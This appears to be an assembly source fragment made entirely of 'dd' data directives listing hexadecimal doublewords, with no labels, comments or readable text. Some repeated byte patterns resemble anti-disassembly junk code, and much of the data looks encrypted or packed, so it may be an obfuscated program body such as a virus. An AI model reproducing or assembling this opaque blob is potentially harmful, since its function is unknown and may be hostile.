		dd 850FFFFFh, 29h, 0EE8h, 0B0577700h, 0E94841D7h, 44A9A324h
		dd 896159F7h, 1D153995h, 1CE95B06h, 42000000h, 0CB21276Ch
		dd 849D9627h, 0E9BBB632h, 0FFFFFF66h, 0E64D16F5h, 0BACC11A4h
		dd 8DF24F9Eh, 238C538Dh, 89FCFC06h, 1D20D18Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 1D85C791h, 2C061D33h, 0E900005Bh, 0Fh, 159D4132h, 579E1275h
		dd 9E1C7181h, 168E639h,	1D2E159Dh, 0F985C706h, 61D2Bh
		dd 0F000000h, 68Eh, 0C1B58B00h,	0FF061D10h, 1D0201B5h
		dd 0D0816606h, 95FFE1E9h, 61D1519h, 6800Fh, 958B0000h
		dd 61D022Dh, 46E4BB66h,	95FF006Ah, 61D1209h, 3FEBC08Bh
		dd 51BB75D4h, 2C64BC22h, 843AB859h, 1DC17361h, 0A940D5C4h
		dd 0D375E4Bh, 0E10109E4h, 0B43F5A50h, 28F816A6h, 2FEAE15Bh
		dd 43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h
		dd 8D042EA4h, 238D7E8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 45CA1387h, 472C0AAEh
		dd 0BF0F35B5h, 0D18D89F9h, 6A061D20h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 1114C350h
		dd 0C9B5295Ch, 0C7061D14h, 1D331D85h, 745006h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 8FB77926h, 0D715E72Ah, 0BA664F0Ch, 85C792FAh, 61D2BF9h
		dd 0
		dd 16E1BD89h, 958B061Dh, 61D028Dh, 55B5FFh, 0B70F061Dh
		dd 10E8DAh, 0C9820000h,	0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh
		dd 3ABE3BBDh, 5F386265h, 151995FFh, 10E9061Dh, 67000000h
		dd 3015966Fh, 84030BD3h, 0D03165C8h, 6A5D34FDh,	995FF00h
		dd 8B061D12h, 0B22EEBC0h, 367B4BB4h, 95AB3B36h,	90BFB804h
		dd 268951F0h, 0D515FD23h, 25263377h, 5968A5A6h,	9F32B04Ch
		dd 90BA66B9h, 4A2F3AE5h, 4138D80Bh, 5E8ABh, 0BDB20000h
		dd 0BB3013B5h, 24FABE32h, 0C19D8B58h, 81061D15h, 735AC0h
		dd 8B516000h, 8B6658CFh, 0C92B61F9h, 0BD28166h,	134FFECh
		dd 5BD8B5Eh, 81061D12h,	0D55D9CEEh, 0D2BF0F6Ah,	0EB66C681h
		dd 0B70F55B0h, 0E7EE81F8h, 8B02084Ch, 1D01D19Dh, 95895606h
		dd 61D27B5h, 5308048Fh,	0D18D2952h, 5B061D03h, 0C9C3815Ah
		dd 81698F54h, 169EBCE9h, 0B8C1817Eh, 317E169Eh,	1D072DBDh
		dd 64F98106h, 0FFFFF8Dh, 2585h,	11E900h, 0B0B60000h, 6DC4F5FCh
		dd 0F229C8A8h, 440122F4h, 0E937200Fh, 20h, 0C4C50617h
		dd 0F4F167BDh, 8957813Bh, 1D0699BDh, 6EE95B06h,	0E4FFFFFFh
		dd 0C7203F66h, 701B4057h, 8F0F8D8Dh, 0B70F0623h, 0D18D89D1h
		dd 0E9061D20h, 0Bh, 4CF741CCh, 5C6E6496h, 0C7857E15h, 1D331D85h
		dd 6BCC06h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0D8D31DDh, 0C7061D1Ch, 1D2BF985h
		dd 6, 65BD8900h, 0FF061D30h, 1D16EDB5h,	559D0906h, 0FF061D0Fh
		dd 1D151995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 9B457934h, 23BDF35h, 95FF006Ah, 61D1209h
		dd 5FEBC08Bh, 5BEE9F71h, 0C3BBCF3Fh, 0CF582182h, 0AA55413Ah
		dd 84973CE4h, 73DBB3ECh, 13E23823h, 0BC7679B7h,	0FB0D2C78h
		dd 41CB3B16h, 6E5D3874h, 0BE23F9FBh, 293429E2h,	0DE1CB1A6h
		dd 77D8E0D0h, 1CD5383Ch, 0AA389BC2h, 8D4A41C9h,	5597A3EAh
		dd 91644FA0h, 0E4A3713Eh, 1812F757h, 2B98CC4Fh,	0E9E49242h
		dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 6238F81h,	3D08428Bh
		dd 78263845h, 138850Fh,	428B0000h, 184A8B0Ch, 0EABBC8D3h
		dd 337B31BBh, 4E883C3h,	20D18589h, 588B061Dh, 8BF88B04h
		dd 4A8B1042h, 0BEC8D318h, 0B676C28Eh, 0C72BC633h, 83FCE083h
		dd 858904E8h, 61D331Dh,	8914428Bh, 1D2BF985h, 18428B06h
		dd 0B0E953h, 0B5FF0000h, 61D2E19h, 0B9E9h, 11B5FF00h, 0E9061D02h
		dd 0AEh, 1335B5FFh, 0A3E9061Dh,	0FF000000h, 1D086DB5h
		dd 98E906h, 0B5FF0000h,	61D2929h, 8DE9h, 0C1B5FF00h, 0E9061D16h
		dd 82h,	16EDB5FFh, 77E9061Dh, 0FF000000h, 1D0055B5h, 6CE906h
		dd 0B5FF0000h, 61D2B31h, 61E9h,	49B5FF00h, 0E9061D2Ch
		dd 56h,	30A5B5FFh, 4BE9061Dh, 0FF000000h, 1D125DB5h, 40E906h
		dd 0B5FF0000h, 61D0201h, 35E9h,	0F5B5FF00h, 0E9061D13h
		dd 2Ah,	3199B5FFh, 1FE9061Dh, 0FF000000h, 1D2BCDB5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 8FE28D8Dh, 0C8030623h
		dd 95FFE1FFh, 61D1519h,	0D1858B5Bh, 39061D20h, 850F0458h
		dd 0Fh,	0FF016A53h, 1D120995h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah
		dd 0D4C96AB8h, 8BE0FF77h, 1D0C2185h, 0D08D8D06h, 89062390h
		dd 0C38B0141h, 0AE8h, 28BB500h,	0ED53F94Bh, 80712D7Eh
		dd 815BC9C1h, 0A89D93D1h, 0AC38157h, 2B00005Ah,	0FFFB8BD2h
		dd 820F1A34h, 0Ah, 4800Fh, 0BF660000h, 0F5EB587h, 8Ah
		dd 28F68100h, 8129B3B2h, 356434CFh, 0F4EE8156h,	8B53B645h
		dd 0F681C6h, 0E9778595h, 12h, 49F03831h, 9608F93Eh, 79917928h
		dd 82975AB8h, 0E9567FADh, 11h, 1CD304Fh, 6EE83BFDh, 0F5E5ED98h
		dd 3C07BC33h, 13048FA8h, 10E8h,	0DEEF6800h, 0E5033A81h
		dd 61F1EA4Bh, 54B67856h, 0AE86040h, 50000000h, 0AC32771Eh
		dd 0E35760DEh, 49BA5E4Bh, 613222CDh, 4EA835Fh, 8E9h, 0FBCFB00h
		dd 150E8828h, 0C4FA8158h, 0FFFFFA6h, 0FFFF5285h, 0C78060FFh
		dd 0E961F8BDh, 0ABh, 3F2E8D50h,	5F72B11Ch, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 9B83323Dh, 0E922F6C5h
		dd 11E2h, 23940268h, 0ED38E906h, 0E68FFF9h, 0E9062395h
		dd 0FFF9ED2Eh, 2395BA68h, 0ED24E906h, 0F168FFF9h, 0E9062396h
		dd 0FFF9ED1Ah, 23977568h, 0ED10E906h, 0E68FFF9h, 0E9062398h
		dd 0FFF9ED06h, 2398CE68h, 0ECFCE906h, 9C68FFF9h, 0E9062399h
		dd 0FFF9ECF2h, 239A2368h, 0ECE8E906h, 2368FFF9h, 0E906239Bh
		dd 0FFF9ECDEh, 239C3468h, 0ECD4E906h, 4D68FFF9h, 0E906239Dh
		dd 0FFF9ECCAh, 239EA068h, 0ECC0E906h, 0C368FFF9h, 0E90623A0h
		dd 0FFF9ECB6h, 23A23968h, 0ECACE906h, 300AFFF9h, 32019A44h
		dd 42F38C36h, 4DE7802Ah, 5ED8711Bh, 0FEC640Eh, 0C46EFE38h
		dd 0BA640C2Bh, 0AF591721h, 9F492B16h, 19527B9h,	92236135h
		dd 2D14A52Ch, 92AF6A47h, 5C2D3BF8h, 5468FAACh, 652542A6h
		dd 0F0AE56B4h, 0FC8E3E5Ah, 1F45B075h, 25A1EB5Eh, 0BAE60F6Eh
		dd 6C7C0CE9h, 0F2DCA02Ch, 881CAE60h, 19DCA02Ch,	0B6640A68h
		dd 1DB2DDCFh, 255CEDh, 0F1AE0000h, 20C72543h, 8B3B59EFh
		dd 45A580F9h, 8562131Fh, 0A059E5F5h, 39E16BDCh,	1DC3A24Ch
		dd 0BFD9EDh, 14320000h,	0AF6A472Dh, 4D08E587h, 0E8A380F4h
		dd 3711B59h, 2542A4FEh,	0C872023Fh, 8562122Fh, 41F197A5h
		dd 0BA4082AFh, 0F9E11E0h, 89E7503Fh, 0E648DBACh, 0B5B77FA6h
		dd 0AB6913E4h, 0B547F79Dh, 0E6AA8B68h, 0CEB08340h, 0D8360769h
		dd 0B77424D5h, 0AA43ED7Fh, 0E26DE08Ch, 33E0FCDCh, 0FBDB958h
		dd 28120000h, 2A09A24Ch, 3AFB943Eh, 45EF8832h, 56E07923h
		dd 37F46C16h, 0CC76F640h, 0C26C0433h, 0B7610F29h, 0A751231Eh
		dd 99D2FC1h, 9A236132h,	2214AD34h, 0EBA07A88h, 70411E56h
		dd 5132A8DDh, 43DD680h,	5A2BC070h, 105E3592h, 718517C7h
		dd 82254246h, 3DCB73D1h, 68BA27A8h, 7FDDFB32h, 3B59EFD8h
		dd 0A580F98Bh, 0D3681F45h, 8C7B5394h, 22CC63DDh, 0B64E8BB3h
		dd 0D38487E5h, 29446F6h, 0DCA0C4F2h, 0EF3B8CFFh, 0ABADA024h
		dd 0DAEE7CDAh, 64DCA0E5h, 924F40DAh, 3C8904A2h,	3F620002h
		dd 62C0916Eh, 1D4E00AAh, 9937EDh, 14900000h, 0AF6A472Dh
		dd 0A035E587h, 0BB7D66E4h, 6F3022B5h, 69671CFh,	2542A7FBh
		dd 0C6A6904Dh, 0E292AF68h, 0D2A29F38h, 610715F5h, 43121FB1h
		dd 0D081E0BAh, 0B6D26826h, 7DEB4906h, 0C371CFA0h, 0AA96C531h
		dd 0F5A556E6h, 0BE6EFE38h, 57344001h, 0E7802886h, 59AA1D4Fh
		dd 0FEE0FCCFh, 0EB18423h, 34060000h, 36FD9640h,	46EF8832h
		dd 51E37C26h, 62D46D17h, 0BE8600Ah, 0C06A0234h,	0B6601027h
		dd 0AB551B1Dh, 9B452F12h, 7D9123B5h, 8E236133h,	2214A128h
		dd 3A07A04Ah, 1409903Ah, 91D75D2Dh, 1928E3C0h, 1D18B15Bh
		dd 8AB7724Fh, 4B9B40EAh, 0B8EAC055h, 0FEEF5393h, 1074C2A0h
		dd 245FCE60h, 84411F45h, 595CBAB2h, 30C955A8h, 0E8295FA6h
		dd 0F4863652h, 1D1CE4A1h, 0F4A48132h, 0E41CB042h, 0FCADD97Eh
		dd 0E6AC09Eh, 0D237CC5Eh, 13C4E31Eh, 0EF9BA663h, 76472444h
		dd 0B06DFBA5h, 0CC85E391h, 358CFF75h, 0A6DEA437h, 0E052CCBh
		dd 0E05A0000h, 0E251EA94h, 0F243DC86h, 0FD37D07Ah, 0E28C16Bh
		dd 7F3CB45Eh, 14BEAE88h, 0AB4BC7Bh, 0FFA9C771h,	0EF99DB66h
		dd 0D1E57709h, 0E2236133h, 2D14F57Ch, 0BC8A6A47h, 839628D8h
		dd 101F45A4h, 0DDAEC275h, 43E67B2Dh, 2AA50CFEh,	0E12CC050h
		dd 2F07DCA0h, 2987383Dh, 0F75C381h, 0EA6CCD5Fh,	46F7E6A7h
		dd 424B969h, 2B2C3DF5h,	6FB08215h, 1E4F734Dh, 47A632C0h
		dd 16A8D687h, 308EDA59h, 0FBF5908Ah, 48E73ADDh,	73F00496h
		dd 5001D687h, 487EF2h, 0EFD70000h, 3ACA5C59h, 0C72542A6h
		dd 0E3954516h, 42A6BD51h, 3F9D4E25h, 1122DF91h,	0A66BF957h
		dd 0ED1F455Ah, 69CF8C3Ch, 8253191Dh, 15506AD8h,	92AFDCA0h
		dd 999F38E2h, 984AFAD7h, 0A015F606h, 0F45203DCh, 0D2A57h
		dd 621FB200h, 5F3D9BD5h, 69FBABC9h, 1F2434FEh, 0A76414C5h
		dd 5569FB9Ah, 66DC9EC8h, 0C8B044D6h, 9041DC9Eh,	0AB44EEBFh
		dd 2101DE96h, 0BBD6D0Bh, 0A784E84Eh, 1AEA78D6h,	0A7E6F85Bh
		dd 0B88946F6h, 0C87912BCh, 59EFCFACh, 1CF98B3Bh, 7FECFD09h
		dd 55FE5BCEh, 0A07BE724h, 0CCE01h, 5D172300h, 4F191AB3h
		dd 43290CA5h, 34340099h, 2745F18Ah, 5126057Dh, 44DD87E5h
		dd 3AD37DF3h, 2FC872FEh, 0D2B86212h, 301EAE40h,	45AB2361h
		dd 0A6AB3FBEh, 0CF5D2542h, 6F67F9A9h, 2C1F2436h, 8419CB7Bh
		dd 65D01B0Fh, 0C6592A07h, 0D836521Bh, 0A252221Fh, 894E5EF0h
		dd 0AA5BDC9Eh, 360BA44Ch, 354B4C7Ch, 0BE8F2DB6h, 0C27431E1h
		dd 0D86E4CAAh, 0EF7A0CBCh, 0F4E69963h, 3C1DD043h, 1BF6E100h
		dd 0C4A7Ch, 0D99B9F00h,	0CB9D962Fh, 0BFAD8821h,	0B0B87C15h
		dd 0A3C96D06h, 0CDA281F9h, 0C0590369h, 0B64FF977h, 0AB44EE82h
		dd 4E34DE96h, 319A2ABCh, 0C1272361h, 472D143Ah,	0E292AF6Ah
		dd 0DEEE8032h, 0EB2542A6h, 3801DC3Ah, 911B6AB0h, 6E14FF38h
		dd 16E635D9h, 8DEBFB44h, 63119h, 59EF7200h, 0C8F98B3Bh
		dd 0CB1F2436h, 94AD6A1Ah, 0A49D36E0h, 5763F3D0h, 81DC9EC8h
		dd 331EEABh, 0C8C1D565h, 37D2DC9Eh, 0C1926F01h,	0DD6F1FF0h
		dd 0E699CA4Ch, 7A33A657h, 1FE10094h, 0BB1A544h,	34060000h
		dd 36FD9640h, 46EF8832h, 51E37C26h, 62D46D17h, 0BE8600Ah
		dd 0C06A0234h, 0B6601027h, 0AB551B1Dh, 9B452F12h, 7D9123B5h
		dd 8E23613Eh, 2D14A128h, 92AF6A47h, 5B2C3CF8h, 0ED2DB57Eh
		dd 0FF381698h, 5A82514h, 1F7E0000h, 0DED9D562h,	7B70AD06h
		dd 0EF7508D9h, 5E4598E7h, 0ECFC8AE8h, 4A2542B8h, 0B8F60698h
		dd 1D752542h, 0DDA4C6CCh, 97F5A6ABh, 550563B9h,	24815EC3h
		dd 0FE3AD51Fh, 0EF81B772h, 0C0704112h, 93C75C0Eh, 9157FC90h
		dd 474252E2h, 9E4FDC9Fh, 0BABA8740h, 80F44D0Ah,	60E17A22h
		dd 85620E2Ah, 2606E3B4h, 32C47410h, 0E6984527h,	0C988FBACh
		dd 6AE0FF21h, 0AF1F08Fh, 0F4460000h, 0F63DD680h, 62FC872h
		dd 1123BC66h, 2214AD57h, 4B28A04Ah, 0AAC274h, 0F6A0D067h
		dd 0EB95DB5Dh, 0DB85EF52h, 3DD163F5h, 0CE23613Eh, 2D14E168h
		dd 92AF6A47h, 0EE4A05E2h, 57EAA582h, 0E78F401Dh, 85E35133h
		dd 0B763EBB4h, 70191BD8h, 42A6CEDEh, 592ADB25h,	0F5D2969Eh
		dd 9C0EC624h, 9B14FF38h, 4CAh, 5159EFF4h, 0DCAD8AE6h, 969E5B0Bh
		dd 34C674D2h, 1F2434FEh, 48FAAA5Bh, 62C0A88Bh, 2CDC98A9h
		dd 6552AD97h, 9E98C3D3h, 8C1FD0DCh, 0DB96B66Bh,	8B00E66h
		dd 0C5A2D26Fh, 0A4DE5815h, 2CFDDA92h, 5B6FFD5Bh, 8DDC9E1Ch
		dd 7729D9BFh, 1CA333C5h, 7F30DC9Eh, 1E869321h, 5C0DE699h
		dd 4924E9h, 8B2A05E1h, 0A23h, 8B2C278h,	0FAA4C46Fh, 0EE98D461h
		dd 0DF89DF55h, 0D27CF046h, 90A69D5Ah, 9E9932DCh, 0A98F28D2h
		dd 0BD841DC7h, 95270DB7h, 613FF303h, 139A0023h,	6A472D14h
		dd 32E292AFh, 50AEC275h, 0F624AC75h, 0FF381D8Fh, 4181C14h
		dd 0B16E0000h, 0DF86E490h, 42A6AE3Fh, 61D59225h, 0FF5D2E0Bh
		dd 0BD6D0B21h, 2434982Bh, 0CE7E2F1Fh, 9A443011h, 57344001h
		dd 13C3A177h, 99C03481h, 83F6A7E6h, 0E100AAE8h,	9C57F6D1h
		dd 0F1000009h, 0E8812B49h, 0DA731D4Bh, 0CE67115Bh, 0BF580266h
		dd 0D34BF577h, 55171F14h, 4B2512ABh, 403008A1h,	3044FD96h
		dd 7C0EA086h, 23613C68h, 148C1379h, 0AF6A472Dh,	505E292h
		dd 5CE59F7Bh, 0D4D66E18h, 6314FF3Ch, 115h, 453DF8B5h, 0D0A17EF2h
		dd 0F35122FFh, 472D144Ch, 0E292AF6Ah, 0C8AC7A38h, 0B0EB8618h
		dd 37E81F45h, 4F3ECA5Ah, 0B640DCA0h, 0D18F2164h, 2AAEED1Dh
		dd 0
		dd 1B79F343h, 3B59EF74h, 0A580F98Bh, 62131F45h,	59E5F585h
		dd 0D96BDCA0h, 0F7551B1Ch, 32BCC951h, 49ED1DC3h, 0A1h
		dd 5D2D14A2h, 0E8C596DAh, 8663092Dh, 21FE76CBh,	0EF99DB66h
		dd 42BB1081h, 1674CD25h, 9B6C492Bh, 0D46220CAh,	73AF3FD1h
		dd 8B3CDABDh, 86780ABAh, 1BE0B796h, 5608BA6Ah, 978212A4h
		dd 5E0FDCA2h, 0A2973ECEh, 0BC1ACBDCh, 8F393303h, 0B92C40F6h
		dd 0DADFD118h, 9C07A681h, 0F1000008h, 0E8812B49h, 0DA731D4Bh
		dd 0CE67115Bh, 0BF580266h, 0D34BF577h, 55171F14h, 4B2512ABh
		dd 403008A1h, 3044FD96h, 7C0EA086h, 23613D68h, 148C1379h
		dd 98D86022h, 0BD841DC7h, 7C4066CDh, 0C92EFD76h, 4BF5C697h
		dd 472D14C4h, 0E292AF6Ah, 288BB38h, 5D0F0000h, 42A63BCBh
		dd 0B917C825h, 5159EF12h, 3B384F0h, 9F7CF046h, 482013CEh
		dd 63AA3CEAh, 0B01F45A1h, 69222FFh, 8DCA05Dh, 0C7E99C7Eh
		dd 76ED1DC7h, 214h, 708416C8h, 81DCA049h, 4B1C50E6h, 49F5099Bh
		dd 5506DCA0h, 6D1F50F7h, 42A6CBDBh, 59132225h, 0F17FB954h
		dd 14724314h, 42A67186h, 0F79DAB25h, 3454B547h,	24BF1F24h
		dd 0D7875810h, 0A34D271Ah, 0E453370Ah, 6DFFAF8Ch, 0DC9EC859h
		dd 17E8B96Ah, 0E38DAA67h, 0FCD73506h, 0BA6A0E1Ch, 0D2907925h
		dd 0C725BC7Ah, 0AAD26719h, 37439350h, 0AB0290EEh, 28E699E7h
		dd 0D43BBBB5h, 0CD9EF0F3h, 7DB35Ah, 3AD9B4E1h, 78Bh, 701A5AE0h
		dd 620C5CD7h, 56006CC9h, 47F177BDh, 3AE488AEh, 280EE5C2h
		dd 36019A44h, 41F7903Ah, 55EC852Fh, 0FD8F751Fh,	613A5B6Bh
		dd 7B026823h, 97D1621Fh, 0B3C18039h, 4E261BD6h,	33E77171h
		dd 0DA84F051h, 0FF3CA842h, 13ECF14h, 14280000h,	0AF6A472Dh
		dd 2E3EF892h, 43F0AD5Dh, 911FC725h, 2A076DD4h, 0F1DFB59h
		dd 0A27B969h, 891F45B0h, 5F6BFBD8h, 0E1DCA04Ch,	0B10EBA4Fh
		dd 915805Fh, 701505ABh,	0ED1D9D7Eh, 20FDh, 59EF5600h, 80F98B3Bh
		dd 131F45A5h, 0E5F58562h, 6BDCA059h, 0A24C39E1h, 0D9ED1DC3h
		dd 0B7h, 472D1432h, 0E587AF6Ah,	4BC35808h, 67C134C2h, 0EC550E6Ch
		dd 51F0AB88h, 960B7923h, 6725426Ch, 9529BBDAh, 26DABD60h
		dd 3CFAA475h, 48DA8AEEh, 0E0B78556h, 0F58A3AEBh, 7A7C5593h
		dd 0B967C5C1h, 0C1533AFCh, 0DCA2F72Dh, 89C2EBEh, 99DCA2F7h
		dd 964617E8h, 0F74252E4h, 9E4FDCA2h, 37FF9840h,	0B0D5C235h
		dd 9772DADFh, 672F8h, 173C700h,	0F375BE57h, 0E785B049h
		dd 0D890A43Dh, 0CBA1952Eh, 0F5CAA921h, 0E8812B41h, 0DE77214Fh
		dd 0D36C165Ah, 765C066Eh, 3B4252E4h, 0E94F2361h, 4A221462h
		dd 667D12A0h, 1D80D7Fh,	2FBF5101h, 0BC254208h, 4DF4AD0Bh
		dd 14F67D27h, 0DA97472Dh, 77320F59h, 7EDCADBFh,	3C59E8A3h
		dd 42A61AAAh, 25F6A725h, 48FE7Bh, 0BD520000h, 16328A49h
		dd 34DB39ACh, 0D75D2D14h, 12E3B491h, 0ADC77A35h, 482C15D0h
		dd 0E484B06Bh, 9A800407h, 4D1E4AEAh, 7014068Ah,	36F3A3D1h
		dd 0BC8D6AFEh, 9328B65Eh, 96F58D9Ah, 34D12FE7h,	33h, 0FE76CB88h
		dd 2D14F9A0h, 0CFDA6A47h, 6B2542A6h, 0A85A35E5h, 0F6E89913h
		dd 0A838C091h, 25421714h, 0DD96F4A5h, 0C4743164h, 17881CACh
		dd 68192542h, 1466ED97h, 8A6A472Dh, 7628D8BCh, 42A6D0E4h
		dd 353E5325h, 890A8821h, 1E4AE984h, 0AF41EF4Dh,	1F24AEB4h
		dd 0EDAA5A0Bh, 1FAF4154h, 0ACDC9FA1h, 6D4A2611h, 50FACB9Ch
		dd 0DEA8AB7h, 0C9791F2Dh, 0F9326737h, 9343F4E6h, 59096BD6h
		dd 0D38115A7h, 6112D6FBh, 7FC25B03h, 0E23818F5h, 6724D686h
		dd 0F2C3A0D0h, 0A10F0694h, 0DB8CECFCh, 23BE6568h, 54F3CEE7h
		dd 51Fh, 4AEC674h, 0F6A0C86Bh, 0EA94D85Dh, 0DB85E351h
		dd 0CE78F442h, 94A29956h, 0A2952ED8h, 0AD8B24CEh, 0C18019C3h
		dd 912309B3h, 6138EFFFh, 0F96FC23h, 9D472D14h, 5A373D04h
		dd 0A56C15AAh, 0E84A69C3h, 470D18Ah, 0C7DEBF54h, 136354A1h
		dd 18764721h, 67B33D3Dh, 9AE09328h, 6E4B1D17h, 0C0F50A9Dh
		dd 0FC45FE5Ch, 0B436CE78h, 0C314FFEDh, 52h, 8DDB5815h
		dd 0DA81DFB0h, 0CBDB6D1Fh, 0D82542A6h, 0A626B648h, 2B32542h
		dd 27F5D331h, 12FF9141h, 811F455Ah, 0B16E20D0h,	0D38CEA86h
		dd 0F3610B65h, 0DCA012E9h, 0C16B0938h, 0C0761028h, 8D1FCFACh
		dd 0DCA01279h, 4D08D98Ah, 0D8B586EAh, 45E39h, 2D149400h
		dd 0B592D65Dh, 8CC2C322h, 0EDF0D34h, 9CA5603Dh,	452246EEh
		dd 5F30395h, 4F002542h,	40FDAD7Eh, 0C5967301h, 2B01BF67h
		dd 660B9D4Dh, 6D1F4513h, 0BB4FDFBCh, 0C5DCA12Bh, 0FEB0DF3Bh
		dd 2B2ABA4Ch, 6B7DCA1h,	0A12B6676h, 7C273DCh, 8E5F3C2Ch
		dd 0B5767830h, 3805ED1Ch, 5E000000h, 0FF068A1Fh, 0BDC91487h
		dd 0CF6B7B0Dh, 0C7782542h, 0D7BD8B69h, 0CC649527h, 0FEAF1F45h
		dd 8DB47121h, 0DB390AE7h, 0A1CEBD4Dh, 0E139C3DCh, 1C540AA4h
		dd 12531EDh, 148A0000h,	0AF6A472Dh, 323AFB87h, 0D09C9A55h
		dd 77FD44FFh, 330EC9A6h, 0DC8CDC57h, 42A6BA4Ah,	0C5964725h
		dd 76142DE8h, 0AE3ED0C1h, 3B2542A6h, 0BDCB98Ah,	1A26878h
		dd 8C5D91F4h, 0C26D74E2h, 26BB2542h, 4EE0DDA7h,	0AF41F184h
		dd 2542CA1Fh, 0E49DFBACh, 2C13555Dh, 586CAFFCh,	8316217Bh
		dd 30016EC0h, 0FA72C380h, 46EE4C1Dh, 3E094ADh, 0BF6F1523h
		dd 4D96002Ah, 670F0328h, 45FF92F7h, 802E8C3Ch, 454B97EEh
		dd 7ABC791Fh, 0E09194F2h, 64F6A836h, 0DCA16B50h, 4CF5B061h
		dd 1C7A4B28h, 0DC8CE83Eh, 0AB8D5A4Ah, 8636E7E6h, 8E206DC9h
		dd 0D686807Eh, 80BE4EE0h, 9A4BD686h, 6913E495h,	930666D0h
		dd 0E0FBDB8Ah, 0FC15B48Fh, 51000002h, 48E18BE9h, 3AD37DEBh
		dd 2EC771FBh, 1FB86206h, 33AB5517h, 0B5B77F74h,	0ABC5720Bh
		dd 0A0D06801h, 90E45DF6h, 0DC6E00E6h, 236106C8h, 14EC73D9h
		dd 97D56022h, 0D18E1CC6h, 4E261B63h, 71CFA071h,	360189B8h
		dd 0AC89E750h, 89390ADBh, 201668CCh, 0CD9E6F4Ch, 0EF40C76Fh
		dd 3ACA5C59h, 1C2542A6h, 42A67A8Ah, 0D1D68725h,	0FDF8385Eh
		dd 0E2B3DD0Ah, 0DB0CA032h, 0EC9D2542h, 0FCB96B1Bh, 83543137h
		dd 0CEF62DF0h, 9AF86C51h, 45A19D0Ch, 37C97B1Fh,	0DCA1A5A7h
		dd 0B2F08334h, 690C5BBCh, 934447A5h, 0B99226B6h, 0A9CDCA1h
		dd 2785EB4Dh, 39F69981h, 0C39471FFh, 0B96D8113h, 0CD7EDCA1h
		dd 2335B76Fh, 0FD44ED1Ch, 9D000000h, 6A472D14h,	8E587AFh
		dd 42A46978h, 0D2ABF25h, 0AA9C421Dh, 0B58C45A3h, 571123E0h
		dd 8519A97Ah, 16DABD7Ch, 0E1B2BA7Bh, 805D0F26h,	992EDEAFh
		dd 80621109h, 0F9A1FF7Eh, 9AF9D66Bh, 87B0E0CEh,	0B9D17029h
		dd 4213F07Ch, 66B49471h, 0DBD1B240h, 56270B8Ah,	0F3C914A6h
		dd 0E29FE0BAh, 6A3B1854h, 0A858090Ch, 67CA0813h, 14727BD7h
		dd 1D98AE6Ch, 0A0597B8Bh, 49ED88DCh, 0D1815223h, 9AD6621Fh
		dd 8EECBDh, 0E6AABCADh,	2BDD8D3Eh, 0FAD7E779h, 33E4D681h
		dd 521A1CD5h, 0D65D1AA8h, 0BB7B3492h, 0A56F3EB1h, 0F5D0E0FCh
		dd 18656h, 155FDB00h, 761D26Bh,	0FB71C45Dh, 0EC7CB851h
		dd 0DF8DA942h, 9FEBD35h, 0FC953F2Dh, 0F28B353Bh, 0E7802A46h
		dd 8A701A5Ah, 45666F8h,	0FD632361h, 4A221476h, 2959DD9Ah
		dd 0AF805D0Bh, 4AD880DEh, 64C2A68Dh, 1F1C96ABh,	4FAB6885h
		dd 24AB5526h, 95DF621Fh, 82CE7B8h, 0F8490260h, 5DE49F7Ch
		dd 6DD46D17h, 0F71D9045h
		dd 7344BAEDh, 460B696h,	0E7ABC254h, 77281F45h, 7B9F439Ah
		dd 923C3809h, 0FD3846D4h, 3CEE9E6Fh, 0A1E61AAAh, 63F6A7DCh
		dd 0CE41017Eh, 63116F8Fh, 0A6E1B8D1h, 0BD9A4BE6h, 58353F02h
		dd 56091195h, 62F4A4C0h, 0EC803BD7h, 0E8812BDCh, 833E1B59h
		dd 87DEBBB5h, 0B17546DBh, 42B7AF1Ah, 0B3DC3EE4h, 0B331CA1Eh
		dd 33E3C13Eh, 0EA770DA1h, 8FED9EC8h, 161F6BD6h,	15A87956h
		dd 0F103A42Ch, 0D57F501Dh, 0B3630117h, 0EDE41421h, 0F9D687F2h
		dd 0F1059749h, 2C2C9E4h, 73AF351h, 9539906Dh, 284CDA85h
		dd 2B09C678h, 2451DF3Dh, 0B7F8CEF0h, 889E5C06h,	0B9AA3CECh
		dd 0EFE4A1Ah, 7CC5805Dh, 3C04EF8h, 22DB3933h, 0E8A5551Fh
		dd 1BAB3D4Ch, 0A8FE083Dh, 0EDC826F7h, 471E3D5Dh, 0F624A8D9h
		dd 17C1B38Eh, 0D4B1C37Eh, 9CCC6724h, 433EEBFh, 0DF550E6Ch
		dd 46F1AC89h, 0A5924D2Ah, 433EECBh, 0BBBE8F6Ch,	348BE337h
		dd 70058A90h, 22FA7111h, 762F8D14h, 66FFA9CBh, 1DBC99DBh
		dd 3, 14B65D78h, 0B6714E26h, 510CE98Bh,	0F1AC89E7h, 924D2A46h
		dd 30EBC8A4h, 0CE896606h, 6A250266h, 9C4A1CBh, 9C613E2Ah
		dd 796268h, 242C8900h, 158268h,	240C8900h, 5C1068h, 243C8900h
